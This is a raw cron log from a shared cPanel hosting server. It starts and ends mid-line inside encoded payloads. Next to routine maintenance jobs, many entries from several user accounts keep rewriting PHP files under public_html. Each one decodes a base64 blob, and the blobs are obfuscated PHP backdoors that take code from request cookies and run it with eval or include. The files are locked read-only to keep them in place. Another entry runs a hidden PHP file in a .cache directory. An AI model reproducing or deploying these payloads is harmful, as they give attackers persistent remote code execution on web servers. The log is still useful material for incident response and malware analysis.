AnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:24:02 medusa CROND[23341]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:24:02 medusa CROND[23343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:24:02 medusa CROND[23344]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:24:02 medusa CROND[23347]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:24:02 medusa CROND[23345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:24:02 medusa CROND[23348]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:24:02 medusa CROND[23350]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:24:02 medusa CROND[23365]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:24:02 medusa CROND[23367]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:24:02 medusa CROND[23366]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:24:02 medusa CROND[23370]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:25:01 medusa CROND[1489]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:25:01 medusa CROND[1617]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:25:01 medusa CROND[1706]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:25:01 medusa CROND[1708]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:25:01 medusa CROND[1710]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:25:01 medusa CROND[1711]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:25:01 medusa CROND[1712]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:25:01 medusa CROND[1714]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:25:01 medusa CROND[1719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:25:01 medusa CROND[1721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:25:01 medusa CROND[1725]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:25:01 medusa CROND[1724]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:25:01 medusa CROND[1726]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:25:01 medusa CROND[1723]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:25:01 medusa CROND[1722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:25:01 medusa CROND[1731]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:25:01 medusa CROND[1730]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:25:01 medusa CROND[1734]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:25:01 medusa CROND[1738]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:25:01 medusa CROND[1741]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:25:01 medusa CROND[1743]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:25:01 medusa CROND[1735]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:26:01 medusa CROND[18109]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:26:02 medusa CROND[18409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:26:02 medusa CROND[18410]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:26:02 medusa CROND[18411]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:26:02 medusa CROND[18412]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:26:02 medusa CROND[18413]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:26:02 medusa CROND[18416]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X